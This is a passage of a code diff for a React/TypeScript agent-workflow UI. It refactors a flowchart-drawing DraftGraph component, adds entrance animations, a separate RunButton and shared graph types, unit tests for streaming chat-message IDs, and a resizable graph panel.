rx={14} fill="none" stroke={colors.dot} strokeWidth={1} opacity={0.25}
style={{ animation: "pulse-ring 2.5s ease-out infinite" }}
/>
</>
)}
{/* Node background */}
<rect
x={pos.x} y={pos.y}
width={nodeW} height={NODE_H}
rx={12}
fill={colors.bg}
stroke={colors.border}
strokeWidth={isActive ? 1.5 : 1}
/>
{/* Status dot */}
<circle cx={pos.x + 18} cy={pos.y + NODE_H / 2} r={4.5} fill={colors.dot} />
{isActive && (
<circle cx={pos.x + 18} cy={pos.y + NODE_H / 2} r={7} fill="none" stroke={colors.dot} strokeWidth={1} opacity={0.3}>
<animate attributeName="r" values="7;11;7" dur="2s" repeatCount="indefinite" />
<animate attributeName="opacity" values="0.3;0;0.3" dur="2s" repeatCount="indefinite" />
</circle>
)}
{/* Check mark for complete */}
{isDone && (
<text
x={pos.x + 18} y={pos.y + NODE_H / 2 + 1}
fill={colors.dot} fontSize={8} fontWeight={700}
textAnchor="middle" dominantBaseline="middle"
>
&#x2713;
</text>
)}
{/* Label -- truncated with ellipsis for narrow nodes */}
<text
x={pos.x + 32} y={pos.y + NODE_H / 2}
fill={isActive ? statusColors.running.dot : isDone ? statusColors.complete.dot : statusColors.pending.dot}
fontSize={fontSize}
fontWeight={isActive ? 600 : isDone ? 500 : 400}
dominantBaseline="middle"
letterSpacing="0.01em"
>
{displayLabel}
</text>
{/* Status label for active nodes */}
{node.statusLabel && isActive && (
<text
x={pos.x + nodeW + 10} y={pos.y + NODE_H / 2}
fill={statusColors.running.dot} fontSize={10.5} fontStyle="italic"
dominantBaseline="middle" opacity={0.8}
>
{node.statusLabel}
</text>
)}
{/* Iteration badge */}
{node.iterations !== undefined && node.iterations > 0 && (
<g>
<rect
x={pos.x + nodeW - 36} y={pos.y + NODE_H / 2 - 8}
width={26} height={16} rx={8}
fill={colors.dot} opacity={0.15}
/>
<text
x={pos.x + nodeW - 23} y={pos.y + NODE_H / 2}
fill={colors.dot} fontSize={9} fontWeight={600}
textAnchor="middle" dominantBaseline="middle" opacity={0.8}
>
{node.iterations}{node.maxIterations ? `/${node.maxIterations}` : "\u00d7"}
</text>
</g>
)}
</g>
);
};
return (
<div className="flex flex-col h-full">
{/* Compact sub-label */}
<div className="px-5 pt-4 pb-2 flex items-center justify-between">
<div className="flex items-center gap-2">
<p className="text-[11px] text-muted-foreground font-medium uppercase tracking-wider">Pipeline</p>
{version && (
<span className="text-[10px] font-mono font-medium text-muted-foreground/60 border border-border/30 rounded px-1 py-0.5 leading-none">
{version}
</span>
)}
</div>
<RunButton runState={runState} disabled={nodes.length === 0} onRun={handleRun} onPause={onPause ?? (() => {})} btnRef={runBtnRef} />
</div>
{/* Graph */}
<PanZoomSvg svgW={svgWidth} svgH={svgHeight} className={building ? "opacity-30" : ""}>
{forwardEdges.map((e, i) => renderForwardEdge(e, i))}
{backEdges.map((e, i) => renderBackEdge(e, i))}
{nodes.map((n, i) => renderNode(n, i))}
</PanZoomSvg>
{building && (
<div className="absolute inset-0 flex items-center justify-center">
<div className="flex flex-col items-center gap-3">
<Loader2 className="w-6 h-6 animate-spin text-primary/60" />
<p className="text-xs text-muted-foreground/80">Rebuilding agent...</p>
</div>
</div>
)}
</div>
);
}
+142 -158
View File
@@ -1,8 +1,8 @@
import { useEffect, useMemo, useRef, useState, useCallback } from "react";
import { useEffect, useLayoutEffect, useMemo, useRef, useState, useCallback } from "react";
import { Loader2 } from "lucide-react";
import type { DraftGraph as DraftGraphData, DraftNode } from "@/api/types";
import { RunButton } from "./AgentGraph";
import type { GraphNode, RunState } from "./AgentGraph";
import { RunButton } from "./RunButton";
import type { GraphNode, RunState } from "./graph-types";
// Read a CSS custom property value (space-separated HSL components)
function cssVar(name: string): string {
@@ -73,7 +73,9 @@ function useDraftChromeColors() {
type DraftNodeStatus = "pending" | "running" | "complete" | "error";
interface DraftGraphProps {
draft: DraftGraphData;
draft: DraftGraphData | null;
/** The post-build originalDraft — animation fires when this changes to a new non-null value. */
originalDraft?: DraftGraphData | null;
onNodeClick?: (node: DraftNode) => void;
/** Runtime node ID → list of original draft node IDs (post-dissolution mapping). */
flowchartMap?: Record<string, string[]>;
@@ -83,6 +85,8 @@ interface DraftGraphProps {
onRuntimeNodeClick?: (runtimeNodeId: string) => void;
/** True while the queen is building the agent from the draft. */
building?: boolean;
/** Message to show with a spinner while loading/designing. Null = no spinner. */
loadingMessage?: string | null;
/** Called when the user clicks Run. */
onRun?: () => void;
/** Called when the user clicks Pause. */
@@ -142,13 +146,9 @@ function FlowchartShape({
case "rectangle":
return <rect x={x} y={y} width={w} height={h} rx={4} {...common} />;
case "rounded_rect":
return <rect x={x} y={y} width={w} height={h} rx={12} {...common} />;
case "diamond": {
const cx = x + w / 2;
const cy = y + h / 2;
// Keep diamond within bounding box
return (
<polygon
points={`${cx},${y} ${x + w},${cy} ${cx},${y + h} ${x},${cy}`}
@@ -172,18 +172,6 @@ function FlowchartShape({
return <path d={d} {...common} />;
}
case "multi_document": {
const off = 3;
const d = `M ${x} ${y + 4 + off} Q ${x} ${y + off}, ${x + 8} ${y + off} L ${x + w - 8 - off} ${y + off} Q ${x + w - off} ${y + off}, ${x + w - off} ${y + 4 + off} L ${x + w - off} ${y + h - 8} C ${x + (w - off) * 0.75} ${y + h + 2}, ${x + (w - off) * 0.25} ${y + h - 10}, ${x} ${y + h - 4} Z`;
return (
<g>
<rect x={x + off * 2} y={y} width={w - off * 2} height={h - off} rx={4} fill={fill} stroke={stroke} strokeWidth={1.2} opacity={0.4} />
<rect x={x + off} y={y + off / 2} width={w - off} height={h - off} rx={4} fill={fill} stroke={stroke} strokeWidth={1.2} opacity={0.6} />
<path d={d} {...common} />
</g>
);
}
case "subroutine": {
const inset = 7;
return (
@@ -205,34 +193,6 @@ function FlowchartShape({
);
}
case "manual_input":
return (
<polygon
points={`${x},${y + 10} ${x + w},${y} ${x + w},${y + h} ${x},${y + h}`}
{...common}
/>
);
case "trapezoid": {
const inset = 12;
return (
<polygon
points={`${x},${y} ${x + w},${y} ${x + w - inset},${y + h} ${x + inset},${y + h}`}
{...common}
/>
);
}
case "delay": {
const d = `M ${x} ${y + 4} Q ${x} ${y}, ${x + 4} ${y} L ${x + w * 0.65} ${y} A ${w * 0.35} ${h / 2} 0 0 1 ${x + w * 0.65} ${y + h} L ${x + 4} ${y + h} Q ${x} ${y + h}, ${x} ${y + h - 4} Z`;
return <path d={d} {...common} />;
}
case "display": {
const d = `M ${x + 16} ${y} L ${x + w * 0.65} ${y} A ${w * 0.35} ${h / 2} 0 0 1 ${x + w * 0.65} ${y + h} L ${x + 16} ${y + h} L ${x} ${y + h / 2} Z`;
return <path d={d} {...common} />;
}
case "cylinder": {
const ry = 7;
return (
@@ -247,88 +207,6 @@ function FlowchartShape({
);
}
case "stored_data": {
const d = `M ${x + 14} ${y} L ${x + w} ${y} A 10 ${h / 2} 0 0 0 ${x + w} ${y + h} L ${x + 14} ${y + h} A 10 ${h / 2} 0 0 1 ${x + 14} ${y} Z`;
return <path d={d} {...common} />;
}
case "internal_storage":
return (
<g>
<rect x={x} y={y} width={w} height={h} rx={4} {...common} />
<line x1={x + 10} y1={y} x2={x + 10} y2={y + h} stroke={stroke} strokeWidth={0.8} opacity={0.5} />
<line x1={x} y1={y + 10} x2={x + w} y2={y + 10} stroke={stroke} strokeWidth={0.8} opacity={0.5} />
</g>
);
case "circle": {
const r = Math.min(w, h) / 2 - 2;
return <circle cx={x + w / 2} cy={y + h / 2} r={r} {...common} />;
}
case "pentagon":
return (
<polygon
points={`${x},${y} ${x + w},${y} ${x + w},${y + h * 0.6} ${x + w / 2},${y + h} ${x},${y + h * 0.6}`}
{...common}
/>
);
case "triangle_inv":
return (
<polygon
points={`${x},${y} ${x + w},${y} ${x + w / 2},${y + h}`}
{...common}
/>
);
case "triangle":
return (
<polygon
points={`${x + w / 2},${y} ${x + w},${y + h} ${x},${y + h}`}
{...common}
/>
);
case "hourglass":
return (
<polygon
points={`${x},${y} ${x + w},${y} ${x + w / 2},${y + h / 2} ${x + w},${y + h} ${x},${y + h} ${x + w / 2},${y + h / 2}`}
{...common}
/>
);
case "circle_cross": {
const r = Math.min(w, h) / 2 - 2;
const cx = x + w / 2;
const cy = y + h / 2;
return (
<g>
<circle cx={cx} cy={cy} r={r} {...common} />
<line x1={cx - r * 0.7} y1={cy - r * 0.7} x2={cx + r * 0.7} y2={cy + r * 0.7} stroke={stroke} strokeWidth={1} />
<line x1={cx + r * 0.7} y1={cy - r * 0.7} x2={cx - r * 0.7} y2={cy + r * 0.7} stroke={stroke} strokeWidth={1} />
</g>
);
}
case "circle_bar": {
const r = Math.min(w, h) / 2 - 2;
const cx = x + w / 2;
const cy = y + h / 2;
return (
<g>
<circle cx={cx} cy={cy} r={r} {...common} />
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} stroke={stroke} strokeWidth={1} />
<line x1={cx - r} y1={cy} x2={cx + r} y2={cy} stroke={stroke} strokeWidth={1} />
</g>
);
}
case "flag": {
const d = `M ${x} ${y} L ${x + w} ${y} L ${x + w - 8} ${y + h / 2} L ${x + w} ${y + h} L ${x} ${y + h} Z`;
return <path d={d} {...common} />;
}
default:
return <rect x={x} y={y} width={w} height={h} rx={8} {...common} />;
}
@@ -355,7 +233,7 @@ function Tooltip({ node, style }: { node: DraftNode; style: React.CSSProperties
);
}
export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNodes, onRuntimeNodeClick, building, onRun, onPause, runState = "idle" }: DraftGraphProps) {
export default function DraftGraph({ draft, originalDraft, onNodeClick, flowchartMap, runtimeNodes, onRuntimeNodeClick, building, loadingMessage, onRun, onPause, runState = "idle" }: DraftGraphProps) {
const [hoveredNode, setHoveredNode] = useState<string | null>(null);
const [mousePos, setMousePos] = useState<{ x: number; y: number } | null>(null);
const containerRef = useRef<HTMLDivElement>(null);
@@ -363,6 +241,37 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
const [containerW, setContainerW] = useState(484);
const chrome = useDraftChromeColors();
// ── Entrance animation — fires when originalDraft becomes a new non-null value ──
// This covers: agent loaded, build finished, queen modifies flowchart.
// Tab switches remount via React key={activeWorker}, resetting all refs.
const prevOriginalDraft = useRef<DraftGraphData | null>(null);
const pendingAnimation = useRef(false);
const [entrancePhase, setEntrancePhase] = useState<"idle" | "hidden" | "visible">("idle");
const nodes = draft?.nodes ?? [];
useLayoutEffect(() => {
const prev = prevOriginalDraft.current;
prevOriginalDraft.current = originalDraft ?? null;
// Detect a new non-null originalDraft (object identity — each API/SSE response is a fresh object)
if (originalDraft && originalDraft !== prev) {
pendingAnimation.current = true;
}
// Fire when we have a pending animation, nodes are ready, and not mid-build
if (pendingAnimation.current && nodes.length > 0 && !building) {
pendingAnimation.current = false;
setEntrancePhase("hidden");
let raf1 = 0, raf2 = 0;
raf1 = requestAnimationFrame(() => {
raf2 = requestAnimationFrame(() => setEntrancePhase("visible"));
});
const t = setTimeout(() => setEntrancePhase("idle"), nodes.length * 120 + 1000);
return () => { clearTimeout(t); cancelAnimationFrame(raf1); cancelAnimationFrame(raf2); };
}
}, [originalDraft, nodes.length, building]);
// Shift-to-pin tooltip
const shiftHeld = useRef(false);
useEffect(() => {
@@ -463,7 +372,7 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
const hasStatusOverlay = Object.keys(nodeStatuses).length > 0;
const { nodes, edges } = draft;
const edges = draft?.edges ?? [];
const idxMap = useMemo(
() => Object.fromEntries(nodes.map((n, i) => [n.id, i])),
@@ -536,6 +445,11 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
layerGroups.forEach((group) => {
maxCols = Math.max(maxCols, group.length);
});
// Ensure maxCols accommodates any parent's children fan-out
// (prevents fan-out scaling from collapsing to zero)
children.forEach((kids) => {
maxCols = Math.max(maxCols, kids.length);
});
// Compute node width — keep back-edge overflow out of node sizing so nodes
// get full width. The viewBox is expanded later to fit back-edge curves.
@@ -641,6 +555,17 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
}
}
// Post-process: enforce minimum spacing within each layer
for (const [, group] of layerGroups) {
if (group.length <= 1) continue;
const sorted = [...group].sort((a, b) => colPos[a] - colPos[b]);
for (let j = 1; j < sorted.length; j++) {
if (colPos[sorted[j]] < colPos[sorted[j - 1]] + 1) {
colPos[sorted[j]] = colPos[sorted[j - 1]] + 1;
}
}
}
// Convert fractional column positions to pixel X positions
const colSpacing = nodeW + GAP_X;
const usedMin = Math.min(...colPos);
@@ -656,25 +581,6 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
return { layers, nodeW, firstColX, nodeXPositions, backEdgeOverflow, maxContentRight };
}, [nodes, forwardEdges, backEdges.length, containerW, flowchartMap, idxMap]);
if (nodes.length === 0) {
return (
<div className="flex flex-col h-full">
<div className="px-4 pt-4 pb-2">
<p className="text-[11px] text-muted-foreground font-medium uppercase tracking-wider">
Draft
</p>
</div>
<div className="flex-1 flex items-center justify-center px-4">
<p className="text-xs text-muted-foreground/60 text-center italic">
No draft graph yet.
<br />
Describe your workflow to get started.
</p>
</div>
</div>
);
}
const { layers, nodeW, nodeXPositions, backEdgeOverflow, maxContentRight } = layout;
const maxLayer = nodes.length > 0 ? Math.max(...layers) : 0;
@@ -812,13 +718,13 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
// Compute group areas for runtime node boundaries on the draft
const groupAreas = useMemo(() => {
if (!flowchartMap || !runtimeNodes?.length) return [];
if (!flowchartMap) return [];
const groups: { runtimeId: string; label: string; draftIds: string[] }[] = [];
for (const [runtimeId, draftIds] of Object.entries(flowchartMap)) {
groups.push({ runtimeId, label: formatNodeId(runtimeId), draftIds });
}
return groups;
}, [flowchartMap, runtimeNodes]);
}, [flowchartMap]);
// Legend
const usedTypes = (() => {
@@ -856,12 +762,27 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
? `M ${startX} ${y1} L ${toCenterX} ${y2}`
: `M ${startX} ${y1} L ${startX} ${midY} L ${toCenterX} ${midY} L ${toCenterX} ${y2}`;
// Edge draw-in animation (stroke-dashoffset)
const isAnimating = entrancePhase !== "idle";
const pathLength = Math.abs(y2 - y1) + Math.abs(startX - toCenterX) + 1;
const edgeDelay = 200 + i * 80;
const edgeStyle: React.CSSProperties | undefined = isAnimating ? {
strokeDasharray: pathLength,
strokeDashoffset: entrancePhase === "hidden" ? pathLength : 0,
transition: `stroke-dashoffset 400ms ease-in-out ${edgeDelay}ms`,
} : undefined;
const edgeEndStyle: React.CSSProperties | undefined = isAnimating ? {
opacity: entrancePhase === "hidden" ? 0 : 1,
transition: `opacity 100ms ease-out ${edgeDelay + 350}ms`,
} : undefined;
return (
<g key={`fwd-${i}`}>
<path d={d} fill="none" stroke={chrome.edge} strokeWidth={1.2} />
<path d={d} fill="none" stroke={chrome.edge} strokeWidth={1.2} style={edgeStyle} />
<polygon
points={`${toCenterX - 3},${y2 - 5} ${toCenterX + 3},${y2 - 5} ${toCenterX},${y2 - 1}`}
fill={chrome.edgeArrow}
style={edgeEndStyle}
/>
{edge.label && (
<text
@@ -871,6 +792,7 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
fontSize={9}
fontStyle="italic"
textAnchor="middle"
style={edgeEndStyle}
>
{truncateLabel(edge.label, 80, 9)}
</text>
@@ -893,12 +815,26 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
const path = `M ${startX} ${startY} C ${startX + r} ${startY}, ${curveX} ${startY}, ${curveX} ${startY - r} L ${curveX} ${endY + r} C ${curveX} ${endY}, ${endX + r} ${endY}, ${endX + 5} ${endY}`;
// Back-edge draw-in animation (starts after forward edges)
const isAnimating = entrancePhase !== "idle";
const backPathLength = Math.abs(curveX - startX) + Math.abs(startY - endY) + Math.abs(curveX - endX) + 20;
const backDelay = nodes.length * 120 + 300 + i * 80;
const backEdgeStyle: React.CSSProperties | undefined = isAnimating ? {
strokeDashoffset: entrancePhase === "hidden" ? backPathLength : 0,
transition: `stroke-dashoffset 400ms ease-in-out ${backDelay}ms`,
} : undefined;
const backEndStyle: React.CSSProperties | undefined = isAnimating ? {
opacity: entrancePhase === "hidden" ? 0 : 1,
transition: `opacity 100ms ease-out ${backDelay + 350}ms`,
} : undefined;
return (
<g key={`back-${i}`}>
<path d={path} fill="none" stroke={chrome.backEdge} strokeWidth={1.2} strokeDasharray="4 3" />
<path d={path} fill="none" stroke={chrome.backEdge} strokeWidth={1.2} strokeDasharray={isAnimating ? backPathLength : "4 3"} style={backEdgeStyle} />
<polygon
points={`${endX + 5},${endY - 2.5} ${endX + 5},${endY + 2.5} ${endX},${endY}`}
fill={chrome.edge}
style={backEndStyle}
/>
</g>
);
@@ -942,7 +878,13 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
if (rect) setMousePos({ x: e.clientX - rect.left, y: e.clientY - rect.top });
}}
onMouseLeave={() => { if (!shiftHeld.current) { setHoveredNode(null); setMousePos(null); } }}
style={{ cursor: "pointer" }}
style={{
cursor: "pointer",
...(entrancePhase !== "idle" ? {
opacity: entrancePhase === "hidden" ? 0 : 1,
transition: `opacity 300ms ease-out ${i * 120}ms`,
} : {}),
}}
>
<FlowchartShape
@@ -982,6 +924,30 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
);
};
if (!draft || nodes.length === 0) {
return (
<div className="flex flex-col h-full">
<div className="px-4 pt-3 pb-1.5 flex items-center gap-2">
<p className="text-[11px] text-muted-foreground font-medium uppercase tracking-wider">Draft</p>
</div>
<div className="flex-1 flex flex-col items-center justify-center gap-3">
{loadingMessage ? (
<>
<Loader2 className="w-5 h-5 animate-spin text-muted-foreground/40" />
<p className="text-xs text-muted-foreground/50">{loadingMessage}</p>
</>
) : (
<p className="text-xs text-muted-foreground/60 text-center italic">
No draft graph yet.
<br />
Describe your workflow to get started.
</p>
)}
</div>
</div>
);
}
return (
<div className="flex flex-col h-full">
{/* Header */}
@@ -995,6 +961,11 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
<Loader2 className="w-2.5 h-2.5 animate-spin" />
building
</span>
) : loadingMessage ? (
<span className="text-[9px] font-mono font-medium rounded px-1 py-0.5 leading-none border text-amber-500/60 border-amber-500/20 flex items-center gap-1">
<Loader2 className="w-2.5 h-2.5 animate-spin" />
updating
</span>
) : (
<span className={`text-[9px] font-mono font-medium rounded px-1 py-0.5 leading-none border ${hasStatusOverlay ? "text-emerald-500/60 border-emerald-500/20" : "text-amber-500/60 border-amber-500/20"}`}>
{hasStatusOverlay ? "live" : "planning"}
@@ -1014,8 +985,12 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
onMouseMove={handleMouseMove}
onMouseUp={handleMouseUp}
onMouseLeave={handleMouseUp}
className={`w-full h-full${building ? " opacity-30" : ""}`}
style={{ cursor: dragging ? "grabbing" : "grab" }}
className="w-full h-full"
style={{
opacity: building || loadingMessage ? 0.3 : 1,
transition: building || loadingMessage ? "none" : "opacity 300ms ease-out",
cursor: dragging ? "grabbing" : "grab",
}}
>
<svg
width="100%"
@@ -1141,6 +1116,15 @@ export default function DraftGraph({ draft, onNodeClick, flowchartMap, runtimeNo
</div>
)}
{!building && loadingMessage && (
<div className="absolute inset-0 flex items-center justify-center">
<div className="flex flex-col items-center gap-3">
<Loader2 className="w-6 h-6 animate-spin text-muted-foreground/40" />
<p className="text-xs text-muted-foreground/50">{loadingMessage}</p>
</div>
</div>
)}
{/* Zoom controls */}
<div className="absolute bottom-3 right-3 flex items-center gap-1 bg-card/80 backdrop-blur-sm border border-border/40 rounded-lg p-0.5 shadow-sm">
<button
@@ -1,6 +1,6 @@
import { useState, useEffect, useRef } from "react";
import { X, Cpu, Zap, Clock, RotateCcw, CheckCircle2, AlertCircle, Loader2, ChevronDown, ChevronRight, Copy, Check, Terminal, Wrench, BookOpen, GitBranch, Bot } from "lucide-react";
import type { GraphNode, NodeStatus } from "./AgentGraph";
import type { GraphNode, NodeStatus } from "./graph-types";
import type { NodeSpec, ToolInfo, NodeCriteria } from "../api/types";
import { graphsApi } from "../api/graphs";
import { logsApi } from "../api/logs";
@@ -0,0 +1,40 @@
import { memo, useState } from "react";
import { Play, Pause, Loader2, CheckCircle2 } from "lucide-react";
import type { RunButtonProps } from "./graph-types";
export const RunButton = memo(function RunButton({ runState, disabled, onRun, onPause, btnRef }: RunButtonProps) {
const [hovered, setHovered] = useState(false);
const showPause = runState === "running" && hovered;
return (
<button
ref={btnRef}
onClick={runState === "running" ? onPause : onRun}
disabled={runState === "deploying" || disabled}
onMouseEnter={() => setHovered(true)}
onMouseLeave={() => setHovered(false)}
className={`flex items-center gap-1.5 px-2.5 py-1 rounded-md text-[11px] font-semibold transition-all duration-200 ${
showPause
? "bg-amber-500/15 text-amber-400 border border-amber-500/40 hover:bg-amber-500/25 active:scale-95 cursor-pointer"
: runState === "running"
? "bg-green-500/15 text-green-400 border border-green-500/30 cursor-pointer"
: runState === "deploying"
? "bg-primary/10 text-primary border border-primary/20 cursor-default"
: disabled
? "bg-muted/30 text-muted-foreground/40 border border-border/20 cursor-not-allowed"
: "bg-primary/10 text-primary border border-primary/20 hover:bg-primary/20 hover:border-primary/40 active:scale-95"
}`}
>
{runState === "deploying" ? (
<Loader2 className="w-3 h-3 animate-spin" />
) : showPause ? (
<Pause className="w-3 h-3 fill-current" />
) : runState === "running" ? (
<CheckCircle2 className="w-3 h-3" />
) : (
<Play className="w-3 h-3 fill-current" />
)}
{runState === "deploying" ? "Deploying\u2026" : showPause ? "Pause" : runState === "running" ? "Running" : "Run"}
</button>
);
});
@@ -0,0 +1,28 @@
export type NodeStatus = "running" | "complete" | "pending" | "error" | "looping";
export type NodeType = "execution" | "trigger";
export interface GraphNode {
id: string;
label: string;
status: NodeStatus;
nodeType?: NodeType;
triggerType?: string;
triggerConfig?: Record<string, unknown>;
next?: string[];
backEdges?: string[];
iterations?: number;
maxIterations?: number;
statusLabel?: string;
edgeLabels?: Record<string, string>;
}
export type RunState = "idle" | "deploying" | "running";
export interface RunButtonProps {
runState: RunState;
disabled: boolean;
onRun: () => void;
onPause: () => void;
btnRef: React.Ref<HTMLButtonElement>;
}
@@ -196,6 +196,102 @@ describe("sseEventToChatMessage", () => {
);
});
it("different inner_turn values produce different message IDs", () => {
const e1 = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "first response", iteration: 0, inner_turn: 0 },
});
const e2 = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "after tool call", iteration: 0, inner_turn: 1 },
});
const r1 = sseEventToChatMessage(e1, "t");
const r2 = sseEventToChatMessage(e2, "t");
expect(r1!.id).not.toBe(r2!.id);
});
it("same inner_turn produces same ID (streaming upsert within one LLM call)", () => {
const e1 = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "partial", iteration: 0, inner_turn: 1 },
});
const e2 = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "partial response", iteration: 0, inner_turn: 1 },
});
expect(sseEventToChatMessage(e1, "t")!.id).toBe(
sseEventToChatMessage(e2, "t")!.id,
);
});
it("absent inner_turn produces same ID as inner_turn=0 (backward compat)", () => {
const withField = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "hello", iteration: 2, inner_turn: 0 },
});
const withoutField = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "hello", iteration: 2 },
});
expect(sseEventToChatMessage(withField, "t")!.id).toBe(
sseEventToChatMessage(withoutField, "t")!.id,
);
});
it("inner_turn=0 produces no suffix (matches old ID format)", () => {
const event = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "hello", iteration: 3, inner_turn: 0 },
});
const result = sseEventToChatMessage(event, "t");
expect(result!.id).toBe("stream-exec-1-3-queen");
});
it("inner_turn>0 adds -t suffix to ID", () => {
const event = makeEvent({
type: "client_output_delta",
node_id: "queen",
execution_id: "exec-1",
data: { snapshot: "hello", iteration: 3, inner_turn: 2 },
});
const result = sseEventToChatMessage(event, "t");
expect(result!.id).toBe("stream-exec-1-3-t2-queen");
});
it("llm_text_delta also uses inner_turn for distinct IDs", () => {
const e1 = makeEvent({
type: "llm_text_delta",
node_id: "research",
execution_id: "exec-1",
data: { snapshot: "first", inner_turn: 0 },
});
const e2 = makeEvent({
type: "llm_text_delta",
node_id: "research",
execution_id: "exec-1",
data: { snapshot: "second", inner_turn: 1 },
});
const r1 = sseEventToChatMessage(e1, "t");
const r2 = sseEventToChatMessage(e2, "t");
expect(r1!.id).not.toBe(r2!.id);
expect(r1!.id).toBe("stream-exec-1-research");
expect(r2!.id).toBe("stream-exec-1-t1-research");
});
it("uses timestamp fallback when both turnId and execution_id are null", () => {
const event = makeEvent({
type: "client_output_delta",
+10 -2
View File
@@ -56,10 +56,15 @@ export function sseEventToChatMessage(
const iterTid = iter != null ? String(iter) : tid;
const iterIdKey = eid && iterTid ? `${eid}-${iterTid}` : eid || iterTid || `t-${Date.now()}`;
// Distinguish multiple LLM calls within the same iteration (inner tool loop).
// inner_turn=0 (or absent) produces no suffix for backward compat.
const innerTurn = event.data?.inner_turn as number | undefined;
const innerSuffix = innerTurn != null && innerTurn > 0 ? `-t${innerTurn}` : "";
const snapshot = (event.data?.snapshot as string) || (event.data?.content as string) || "";
if (!snapshot) return null;
return {
id: `stream-${iterIdKey}-${event.node_id}`,
id: `stream-${iterIdKey}${innerSuffix}-${event.node_id}`,
agent: agentDisplayName || event.node_id || "Agent",
agentColor: "",
content: snapshot,
@@ -91,10 +96,13 @@ export function sseEventToChatMessage(
}
case "llm_text_delta": {
const llmInnerTurn = event.data?.inner_turn as number | undefined;
const llmInnerSuffix = llmInnerTurn != null && llmInnerTurn > 0 ? `-t${llmInnerTurn}` : "";
const snapshot = (event.data?.snapshot as string) || (event.data?.content as string) || "";
if (!snapshot) return null;
return {
id: `stream-${idKey}-${event.node_id}`,
id: `stream-${idKey}${llmInnerSuffix}-${event.node_id}`,
agent: event.node_id || "Agent",
agentColor: "",
content: snapshot,
+2 -2
View File
@@ -1,9 +1,9 @@
import type { GraphTopology, NodeSpec } from "@/api/types";
import type { GraphNode, NodeStatus } from "@/components/AgentGraph";
import type { GraphNode, NodeStatus } from "@/components/graph-types";
/**
* Convert a backend GraphTopology (nodes + edges + entry_node) into
* the GraphNode[] shape that AgentGraph renders.
* the GraphNode[] shape that DraftGraph renders.
*
* Four jobs:
* 1. Synthesize trigger nodes from non-manual entry_points
+1 -1
View File
@@ -4,7 +4,7 @@
*/
import type { ChatMessage } from "@/components/ChatPanel";
import type { GraphNode } from "@/components/AgentGraph";
import type { GraphNode } from "@/components/graph-types";
export const TAB_STORAGE_KEY = "hive:workspace-tabs";
+133 -45
View File
@@ -2,7 +2,7 @@ import { useState, useCallback, useRef, useEffect, useMemo } from "react";
import ReactDOM from "react-dom";
import { useSearchParams, useNavigate } from "react-router-dom";
import { Plus, KeyRound, Sparkles, Layers, ChevronLeft, Bot, Loader2, WifiOff, X } from "lucide-react";
import AgentGraph, { type GraphNode, type NodeStatus } from "@/components/AgentGraph";
import type { GraphNode, NodeStatus } from "@/components/graph-types";
import DraftGraph from "@/components/DraftGraph";
import ChatPanel, { type ChatMessage } from "@/components/ChatPanel";
import TopBar from "@/components/TopBar";
@@ -113,7 +113,13 @@ function NewTabPopover({ open, onClose, anchorRef, discoverAgents, onFromScratch
useEffect(() => {
if (open && anchorRef.current) {
const rect = anchorRef.current.getBoundingClientRect();
setPos({ top: rect.bottom + 4, left: rect.left });
const POPUP_WIDTH = 240; // w-60 = 15rem = 240px
const overflows = rect.left + POPUP_WIDTH > window.innerWidth - 8;
console.log("Anchor rect:", rect, "Overflows:", overflows);
setPos({
top: rect.bottom + 4,
left: overflows ? rect.right - POPUP_WIDTH : rect.left,
});
}
}, [open, anchorRef]);
@@ -321,6 +327,8 @@ interface AgentBackendState {
workerIsTyping: boolean;
llmSnapshots: Record<string, string>;
activeToolCalls: Record<string, { name: string; done: boolean; streamId: string }>;
/** True while save_agent_draft tool is running (between tool_call_started and draft_graph_updated) */
designingDraft: boolean;
/** Agent folder path — set after scaffolding, used for credential queries */
agentPath: string | null;
/** Structured question text from ask_user with options */
@@ -347,6 +355,7 @@ function defaultAgentState(): AgentBackendState {
workerInputMessageId: null,
queenBuilding: false,
queenPhase: "planning",
designingDraft: false,
draftGraph: null,
originalDraft: null,
flowchartMap: null,
@@ -551,6 +560,39 @@ export default function Workspace() {
const [triggerTaskSaving, setTriggerTaskSaving] = useState(false);
const [newTabOpen, setNewTabOpen] = useState(false);
const newTabBtnRef = useRef<HTMLButtonElement>(null);
const [graphPanelPct, setGraphPanelPct] = useState(30);
const savedGraphPanelPct = useRef(30);
const resizing = useRef(false);
// Drag-to-resize the graph panel
useEffect(() => {
const onMouseMove = (e: MouseEvent) => {
if (!resizing.current) return;
const pct = (e.clientX / window.innerWidth) * 100;
setGraphPanelPct(Math.max(15, Math.min(50, pct)));
};
const onMouseUp = () => {
resizing.current = false;
document.body.style.cursor = "";
};
window.addEventListener("mousemove", onMouseMove);
window.addEventListener("mouseup", onMouseUp);
return () => {
window.removeEventListener("mousemove", onMouseMove);
window.removeEventListener("mouseup", onMouseUp);
};
}, []);
// Shrink graph panel when node detail opens, restore when it closes
const nodeIsSelected = selectedNode !== null;
useEffect(() => {
if (nodeIsSelected) {
savedGraphPanelPct.current = graphPanelPct;
